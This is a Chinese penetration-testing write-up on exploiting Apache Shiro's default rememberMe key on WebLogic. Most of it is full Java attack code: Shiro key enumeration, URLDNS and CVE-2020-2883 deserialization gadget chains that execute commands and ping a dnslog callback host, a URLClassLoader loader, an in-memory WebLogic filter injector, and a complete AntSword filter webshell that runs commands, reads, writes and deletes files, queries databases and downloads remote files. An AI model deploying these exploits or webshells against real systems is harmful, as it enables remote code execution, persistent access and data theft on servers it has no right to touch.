在项目中碰到了Shiro的反序列化,用工具打发现没有成功,然后发现报错是weblogic的,想到了之前研究的WebLogic的几个CVE,遂对其展开研究。
本文涉及如下知识点:
阅读本文之前,建议先看已经完成好的项目:https://github.com/Y4er/WebLogic-Shiro-shell
两种思路
一种思路是 @l1nk3r 师傅在 《一种另类的 shiro 检测方式》 提出来的,简单说一下。
在 org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals
中
先获取cookie的bytes,然后进入convertBytesToPrincipals()
在这个方法中先解密byte数组,然后反序列化对象。
反序列化时强制转换为PrincipalCollection类型,那么我们构造一个空的PrincipalCollection对象,key错误时返回rememberMe=deleteMe,正确时不返回。
PrincipalCollection是一个接口,继承他的类有如图
SimplePrincipalCollection就是我们要用的,手动构造
package org.chabug.test; import org.apache.shiro.subject.SimplePrincipalCollection; import org.chabug.utils.Serializables; import org.unicodesec.EncryptUtil; import java.io.IOException; public class ShiroKey { public static void main(String[] args) throws IOException { SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection(); byte[] bytes = Serializables.serialize(simplePrincipalCollection); String key = "kPH+bIxk5D2deZiIxcaaaA=="; String rememberMe = EncryptUtil.shiroEncrypt(key, bytes); System.out.println(rememberMe); } }
key为kPH+bIxk5D2deZiIxcaaaA==
正确时不返回deleteMe
错误时AAA+bIxk5D2deZiIxcaaaA==
返回deleteMe
以此通过枚举key判断返回headers中是否出现了deleteMe即可。
很简单了,直接给代码
package org.chabug.test; import org.chabug.utils.Serializables; import org.unicodesec.EncryptUtil; import ysoserial.payloads.URLDNS; public class ShiroKey { public static void main(String[] args) throws Exception { URLDNS urldns = new URLDNS(); Object object = urldns.getObject("http://oq287o.dnslog.cn"); byte[] buf = Serializables.serialize(object); String key = "kPH+bIxk5D2deZiIxcaaaA=="; String rememberMe = EncryptUtil.shiroEncrypt(key, buf); System.out.println(rememberMe); } }
key正确时会收到DNSLOG请求
到这里,实际项目中判断出来了key为默认的kPH+bIxk5D2deZiIxcaaaA==
,使用DNSLOG也收到了请求,使用工具跑了一下发现没有可用的gadget。接下来就是根据CVE-2020-2883、CVE-2020-2555这两个CVE来构造gadget进行RCE。
根据之前的我分析过的payload拿过来,配上Shiro的加密就完事
package org.chabug.cve; import com.tangosol.util.ValueExtractor; import com.tangosol.util.comparator.ExtractorComparator; import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import org.chabug.utils.Serializables; import org.unicodesec.EncryptUtil; import ysoserial.payloads.util.Reflections; import java.lang.reflect.Field; import java.util.PriorityQueue; public class CVE_2020_2883 { public static void main(String[] args) throws Exception { ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}}); ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}); //ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}}); ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "ping test.oq287o.dnslog.cn"}}); ValueExtractor[] valueExtractors = new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3, }; Class clazz = ChainedExtractor.class.getSuperclass(); Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); m_aExtractor.setAccessible(true); ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{}); ValueExtractor[] valueExtractors1 = new ValueExtractor[]{ reflectionExtractor }; ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1); PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1)); queue.add("1"); queue.add("1"); m_aExtractor.set(chainedExtractor1, valueExtractors); Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = Runtime.class; queueArray[1] = "1"; byte[] buf = Serializables.serialize(queue); String key = "kPH+bIxk5D2deZiIxcaaaA=="; String rememberMe = EncryptUtil.shiroEncrypt(key, buf); System.out.println(rememberMe); } }
本机测试,很好收到了请求
因为目标是Linux,改成/bin/bash在测试也收到了dnslog请求,然后随手就是一个反弹shell,却发现死活反弹不回来,然后本地监听80、443、8080等常规端口,用curl、wget等命令触发http请求没收到,判断为只出DNS,难受了啊。
此时再想目标机器是WebLogic,可以直接写jsp,通过不断的dnslog回显,base64拼接截取判断找到了war所在的目录(这个过程简直恶心),写入txt、jsp、jspx均访问不到,难道是SpringMVC?试了多个目录均不行,并且发现目标机器是通过nginx反代WebLogic,内网中2台WebLogic做负载均衡,读的文件一会有一会没有,恶心,真的恶心,但是又不能不搞。
东西都访问不到,只能写内存马了呗,爷就不信搞不定。
作为一个渗透搬砖工程师,不会分析还不会抄? 关于WebLogic的内存shell如何实现就不分析了,直接抄宽字节安全的文章《weblogic 无文件webshell的技术研究》 最终实现了如下代码
import java.io.*; import java.lang.reflect.*; import java.util.Map; public class WebLogicEcho { static { try { Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread"); Method m = executeThread.getDeclaredMethod("getCurrentWork"); Object currentWork = m.invoke(Thread.currentThread()); Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler"); connectionHandlerF.setAccessible(true); Object obj = connectionHandlerF.get(currentWork); Field requestF = obj.getClass().getDeclaredField("request"); requestF.setAccessible(true); obj = requestF.get(obj); Field contextF = obj.getClass().getDeclaredField("context"); contextF.setAccessible(true); Object context = contextF.get(obj); Field classLoaderF = context.getClass().getDeclaredField("classLoader"); classLoaderF.setAccessible(true); ClassLoader cl = (ClassLoader) classLoaderF.get(context); Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses"); cachedClassesF.setAccessible(true); Object cachedClass = cachedClassesF.get(cl); Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class); if (getM.invoke(cachedClass, "shell") == null) { // this is your shell class byte code byte[] codeClass = new byte[]{22,22,2,2,2,2,2}; Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length); String evilName = "gameName" + System.currentTimeMillis(); String filterName = "gameFilter" + System.currentTimeMillis(); String[] url = new String[]{"/*"}; Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class); putM.invoke(cachedClass, filterName, evilFilterClass); Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager"); Object filterManager = getFilterManagerM.invoke(context); Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class); registerFilterM.setAccessible(true); registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null); } } catch (Exception e) { e.printStackTrace(); } } }
宽字节安全的文章中采用的是base64+gzip的形式拿到shell,我是直接通过读文件的形式拿,因为我遇到了几个大坑,慢慢讲。
最开始的时候我是使用PythonInterpreter类加载WebLogicEcho.class字节码的形式,将我写的执行cmd命令的MyFilter的shell直接编译好,然后读取class字节码写入到codeClass数组中,编译什么的都顺利,就是发送过去之后,WebLogic会直接被打挂,多次调试之后发现是因为Python加载字节码数组太长了,导致溢出进程宕掉了。
可以,后来我用URLClassLoader,我把编译好的WebLogicEcho.class打个jar包,命令执行写入目标然后加载类可以了吧。很好,一切都没问题。代码长这样
package org.chabug.cve; import org.chabug.utils.Serializables; import com.tangosol.util.ValueExtractor; import com.tangosol.util.comparator.ExtractorComparator; import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import org.unicodesec.EncryptUtil; import ysoserial.payloads.util.Reflections; import java.lang.reflect.Field; import java.net.URL; import java.net.URLClassLoader; import java.util.PriorityQueue; public class CVE_2020_2883_URLClassLoader { public static void main(String[] args) { try { ReflectionExtractor extractor1 = new ReflectionExtractor( "getConstructor", new Object[]{new Class[]{URL[].class}} ); // this jar is result of `jar cvf a.jar WebLogicEcho.class` ReflectionExtractor extractor2 = new ReflectionExtractor( "newInstance", // new Object[]{new Object[]{new URL[]{new URL("file:///tmp/tttt.jar")}}} new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}} ); // load filter shell ReflectionExtractor extractor3 = new ReflectionExtractor( "loadClass", new Object[]{"WebLogicEcho"} ); ReflectionExtractor extractor4 = new ReflectionExtractor( "getConstructor", new Object[]{new Class[]{}} ); ReflectionExtractor extractor5 = new ReflectionExtractor( "newInstance", new Object[]{new Object[]{}} ); ValueExtractor[] valueExtractors = new ValueExtractor[]{ extractor1, extractor2, extractor3, extractor4, extractor5, }; Class clazz = ChainedExtractor.class.getSuperclass(); Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); m_aExtractor.setAccessible(true); ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{}); ValueExtractor[] valueExtractors1 = new ValueExtractor[]{ reflectionExtractor }; ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1); PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1)); queue.add("1"); queue.add("1"); m_aExtractor.set(chainedExtractor1, valueExtractors); Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = URLClassLoader.class; queueArray[1] = "1"; byte[] buf = Serializables.serialize(queue); String key = "kPH+bIxk5D2deZiIxcaaaA=="; String rememberMe = EncryptUtil.shiroEncrypt(key, buf); System.out.println(rememberMe); } catch (Exception e) { e.printStackTrace(); } } }
tttt.jar是WebLogicEcho.class打的jar包。此时WebLogicEcho.class是执行命令的filter shell,shell实现可见 MyFilter.java
哎,都没问题,直接怼上去cmdshell。演示图如下:
A:命令执行的shell有什么用呢?就是多了个回显结果?爷想要更多的功能,你把哥斯拉shell给爷怼进去!
我:啊这?好嘞
不就是哥斯拉的shell吗,改一改就行,然后就打脸了。以下是哥斯拉shell的部分代码
try { byte[] data = base64Decode(request.getParameter(pass)); data = x(data, false); if (session.getAttribute("payload") == null) { session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data)); } else { request.setAttribute("parameters", new String(data)); Object f = ((Class) session.getAttribute("payload")).newInstance(); f.equals(pageContext); response.getWriter().write(md5.substring(0, 16)); response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true))); response.getWriter().write(md5.substring(16)); } } catch (Exception e) { }
其中pageContext在filter中是没有的,我搜遍了资料,问遍了师傅也没解决,然后准备退而求其次,实现一个冰蝎的shell,然后发现冰蝎也用到了pageContext.............算了 蚁剑吧。下面是我实现的蚁剑的Filter shell.
import javax.servlet.*; import java.io.*; import java.net.HttpURLConnection; import java.net.URL; import java.sql.*; import java.text.SimpleDateFormat; public class MyAntShellFilter implements Filter { String Pwd = "ant"; //连接密码 // 数据编码 3 选 1 String encoder = ""; // default // String encoder = "base64"; //base64 // String encoder = "hex"; //hex String cs = "UTF-8"; // 脚本自身编码 String EC(String s) throws Exception { if (encoder.equals("hex") || encoder == "hex") return s; return new String(s.getBytes("ISO-8859-1"), cs); } String showDatabases(String encode, String conn) throws Exception { String sql = "show databases"; // mysql String columnsep = "\t"; String rowsep = ""; return executeSQL(encode, conn, sql, columnsep, rowsep, false); } String showTables(String encode, String conn, String dbname) throws Exception { String sql = "show tables from " + dbname; // mysql String columnsep = "\t"; String rowsep = ""; return executeSQL(encode, conn, sql, columnsep, rowsep, false); } String showColumns(String encode, String conn, String dbname, String table) throws Exception { String columnsep = "\t"; String rowsep = ""; String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql return executeSQL(encode, conn, sql, columnsep, rowsep, true); } String query(String encode, String conn, String sql) throws Exception { String columnsep = "\t|\t"; // general String rowsep = "\r\n"; return executeSQL(encode, conn, sql, columnsep, rowsep, true); } String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname) throws Exception { String ret = ""; conn = (EC(conn)); String[] x = conn.trim().replace("\r\n", "\n").split("\n"); Class.forName(x[0].trim()); String url = x[1] + "&characterEncoding=" + decode(EC(encode), encoder); Connection c = DriverManager.getConnection(url); Statement stmt = c.createStatement(); ResultSet rs = stmt.executeQuery(sql); ResultSetMetaData rsmd = rs.getMetaData(); if (needcoluname) { for (int i = 1; i <= rsmd.getColumnCount(); i++) { String columnName = rsmd.getColumnName(i); ret += columnName + columnsep; } ret += rowsep; } while (rs.next()) { for (int i = 1; i <= rsmd.getColumnCount(); i++) { String columnValue = rs.getString(i); ret += columnValue + columnsep; } ret += rowsep; } return ret; } String WwwRootPathCode(ServletRequest r) throws Exception { String d = this.getClass().getClassLoader().getResource("/").getPath(); String s = ""; if (!d.substring(0, 1).equals("/")) { File[] roots = File.listRoots(); for (int i = 0; i < roots.length; i++) { s += roots[i].toString().substring(0, 2) + ""; } } else { s += "/"; } return s; } String FileTreeCode(String dirPath) throws Exception { File oF = new File(dirPath), l[] = oF.listFiles(); String s = "", sT, sQ, sF = ""; java.util.Date dt; SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); for (int i = 0; i < l.length; i++) { dt = new java.util.Date(l[i].lastModified()); sT = fm.format(dt); sQ = l[i].canRead() ? "R" : ""; sQ += l[i].canWrite() ? " W" : ""; if (l[i].isDirectory()) { s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; } else { sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; } } return s += sF; } String ReadFileCode(String filePath) throws Exception { String l = "", s = ""; BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)))); while ((l = br.readLine()) != null) { s += l + "\r\n"; } br.close(); return s; } String WriteFileCode(String filePath, String fileContext) throws Exception { BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath)))); bw.write(fileContext); bw.close(); return "1"; } String DeleteFileOrDirCode(String fileOrDirPath) throws Exception { File f = new File(fileOrDirPath); if (f.isDirectory()) { File x[] = f.listFiles(); for (int k = 0; k < x.length; k++) { if (!x[k].delete()) { DeleteFileOrDirCode(x[k].getPath()); } } } f.delete(); return "1"; } void DownloadFileCode(String filePath, ServletResponse r) throws Exception { int n; byte[] b = new byte[512]; r.reset(); ServletOutputStream os = r.getOutputStream(); BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath)); os.write(("->|").getBytes(), 0, 3); while ((n = is.read(b, 0, 512)) != -1) { os.write(b, 0, n); } os.write(("|<-").getBytes(), 0, 3); os.close(); is.close(); } String UploadFileCode(String savefilePath, String fileHexContext) throws Exception { String h = "0123456789ABCDEF"; File f = new File(savefilePath); f.createNewFile(); FileOutputStream os = new FileOutputStream(f); for (int i = 0; i < fileHexContext.length(); i += 2) { os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1)))); } os.close(); return "1"; } String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception { File sf = new File(sourceFilePath), df = new File(targetFilePath); if (sf.isDirectory()) { if (!df.exists()) { df.mkdir(); } File z[] = sf.listFiles(); for (int j = 0; j < z.length; j++) { CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName()); } } else { FileInputStream is = new FileInputStream(sf); FileOutputStream os = new FileOutputStream(df); int n; byte[] b = new byte[1024]; while ((n = is.read(b, 0, 1024)) != -1) { os.write(b, 0, n); } is.close(); os.close(); } return "1"; } String RenameFileOrDirCode(String oldName, String newName) throws Exception { File sf = new File(oldName), df = new File(newName); sf.renameTo(df); return "1"; } String CreateDirCode(String dirPath) throws Exception { File f = new File(dirPath); f.mkdir(); return "1"; } String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception { File f = new File(fileOrDirPath); SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); java.util.Date dt = fm.parse(aTime); f.setLastModified(dt.getTime()); return "1"; } String WgetCode(String urlPath, String saveFilePath) throws Exception { URL u = new URL(urlPath); int n = 0; FileOutputStream os = new FileOutputStream(saveFilePath); HttpURLConnection h = (HttpURLConnection) u.openConnection(); InputStream is = h.getInputStream(); byte[] b = new byte[512]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } os.close(); is.close(); h.disconnect(); return "1"; } String SysInfoCode(ServletRequest r) throws Exception { // String d = r.getServletContext().getRealPath("/"); String d = this.getClass().getClassLoader().getResource("/").getPath(); String serverInfo = System.getProperty("os.name"); String separator = File.separator; String user = System.getProperty("user.name"); String driverlist = WwwRootPathCode(r); return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; } boolean isWin() { String osname = System.getProperty("os.name"); osname = osname.toLowerCase(); if (osname.startsWith("win")) return true; return false; } String ExecuteCommandCode(String cmdPath, String command) throws Exception { StringBuffer sb = new StringBuffer(""); String[] c = {cmdPath, !isWin() ? "-c" : "/c", command}; Process p = Runtime.getRuntime().exec(c); CopyInputStream(p.getInputStream(), sb); CopyInputStream(p.getErrorStream(), sb); return sb.toString(); } String decode(String str) { byte[] bt = null; try { sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); bt = decoder.decodeBuffer(str); } catch (IOException e) { e.printStackTrace(); } return new String(bt); } String decode(String str, String encode) { if (encode.equals("hex") || encode == "hex") { if (str == "null" || str.equals("null")) { return ""; } StringBuilder sb = new StringBuilder(); StringBuilder temp = new StringBuilder(); try { for (int i = 0; i < str.length() - 1; i += 2) { String output = str.substring(i, (i + 2)); int decimal = Integer.parseInt(output, 16); sb.append((char) decimal); temp.append(decimal); } } catch (Exception e) { e.printStackTrace(); } return sb.toString(); } else if (encode.equals("base64") || encode == "base64") { byte[] bt = null; try { sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); bt = decoder.decodeBuffer(str); } catch (IOException e) { e.printStackTrace(); } return new String(bt); } return str; } void CopyInputStream(InputStream is, StringBuffer sb) throws Exception { String l; BufferedReader br = new BufferedReader(new InputStreamReader(is)); while ((l = br.readLine()) != null) { sb.append(l + "\r\n"); } br.close(); } public void init(FilterConfig f) throws ServletException { } public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { if (request.getParameter("size") != null) { response.setContentType("text/html"); response.setCharacterEncoding(cs); StringBuffer sb = new StringBuffer(""); try { String funccode = EC(request.getParameter(Pwd) + ""); String z0 = decode(EC(request.getParameter("z0") + ""), encoder); String z1 = decode(EC(request.getParameter("z1") + ""), encoder); String z2 = decode(EC(request.getParameter("z2") + ""), encoder); String z3 = decode(EC(request.getParameter("z3") + ""), encoder); String[] pars = {z0, z1, z2, z3}; sb.append("->|"); if (funccode.equals("B")) { sb.append(FileTreeCode(pars[1])); } else if (funccode.equals("C")) { sb.append(ReadFileCode(pars[1])); } else if (funccode.equals("D")) { sb.append(WriteFileCode(pars[1], pars[2])); } else if (funccode.equals("E")) { sb.append(DeleteFileOrDirCode(pars[1])); } else if (funccode.equals("F")) { DownloadFileCode(pars[1], response); } else if (funccode.equals("U")) { sb.append(UploadFileCode(pars[1], pars[2])); } else if (funccode.equals("H")) { sb.append(CopyFileOrDirCode(pars[1], pars[2])); } else if (funccode.equals("I")) { sb.append(RenameFileOrDirCode(pars[1], pars[2])); } else if (funccode.equals("J")) { sb.append(CreateDirCode(pars[1])); } else if (funccode.equals("K")) { sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2])); } else if (funccode.equals("L")) { sb.append(WgetCode(pars[1], pars[2])); } else if (funccode.equals("M")) { sb.append(ExecuteCommandCode(pars[1], pars[2])); } else if (funccode.equals("N")) { sb.append(showDatabases(pars[0], pars[1])); } else if (funccode.equals("O")) { sb.append(showTables(pars[0], pars[1], pars[2])); } else if (funccode.equals("P")) { sb.append(showColumns(pars[0], pars[1], pars[2], pars[3])); } else if (funccode.equals("Q")) { sb.append(query(pars[0], pars[1], pars[2])); } else if (funccode.equals("A")) { sb.append(SysInfoCode(request)); } } catch (Exception e) { sb.append("ERROR" + "://" + e.toString()); e.printStackTrace(); } sb.append("|<-"); response.getWriter().print(sb.toString()); } else { chain.doFilter(request, response); } } public void destroy() { } }
实现蚁剑Filter shell中踩坑发现在WebLogic中
String d = r.getServletContext().getRealPath("/")
这行代码获取的是空的,需要改为
String d = this.getClass().getClassLoader().getResource("/").getPath();
没问题了,编译,读字节码写入到codeClass byte数组中,然后问题又来了,编译不通过.....
codeClass字节码数组太长了,爷吐了。没关系,我写个方法,让他自己从本地读字节码,我通过命令执行把字节码写入就完事了。最终实现如下
import java.io.*; import java.lang.reflect.*; import java.util.Map; public class WebLogicEcho { static { try { Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread"); Method m = executeThread.getDeclaredMethod("getCurrentWork"); Object currentWork = m.invoke(Thread.currentThread()); Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler"); connectionHandlerF.setAccessible(true); Object obj = connectionHandlerF.get(currentWork); Field requestF = obj.getClass().getDeclaredField("request"); requestF.setAccessible(true); obj = requestF.get(obj); Field contextF = obj.getClass().getDeclaredField("context"); contextF.setAccessible(true); Object context = contextF.get(obj); Field classLoaderF = context.getClass().getDeclaredField("classLoader"); classLoaderF.setAccessible(true); ClassLoader cl = (ClassLoader) classLoaderF.get(context); Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses"); cachedClassesF.setAccessible(true); Object cachedClass = cachedClassesF.get(cl); Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class); if (getM.invoke(cachedClass, "shell") == null) { // byte[] codeClass = getBytesByFile("/tmp/MyAntShellFilter.class"); byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/MyAntShellFilter.class"); Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length); String evilName = "gameName" + System.currentTimeMillis(); String filterName = "gameFilter" + System.currentTimeMillis(); String[] url = new String[]{"/*"}; Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class); putM.invoke(cachedClass, filterName, evilFilterClass); Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager"); Object filterManager = getFilterManagerM.invoke(context); Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class); registerFilterM.setAccessible(true); registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null); } } catch (Exception e) { e.printStackTrace(); } } public static byte[] getBytesByFile(String pathStr) { File file = new File(pathStr); try { FileInputStream fis = new FileInputStream(file); ByteArrayOutputStream bos = new ByteArrayOutputStream(1000); byte[] b = new byte[1000]; int n; while ((n = fis.read(b)) != -1) { bos.write(b, 0, n); } fis.close(); byte[] data = bos.toByteArray(); bos.close(); return data; } catch (Exception e) { e.printStackTrace(); } return null; } }
捋一下,把MyAntShellFilter.class写入到目标,WebLogicEcho.class打成jar包写入目标,然后CVE_2020_2883_URLClassLoader生成rememberMe的cookie,蚁剑链接,成了!
文字能表现出来的东西很表面,因为实际环境中碰到的难题我很难用文字去描述出来,其实当时反代的问题就困扰了我们好久。不过总算历时两周的研究,终于搞定了项目,期间抄的代码无数,很难,但是蚁剑链接success的时候心里的激动是无与伦比的,踩得坑好像也不算什么了。或许这就是平凡的搞站生活中一点点不可多得的喜悦吧。
特别感谢宽字节团队@蛋黄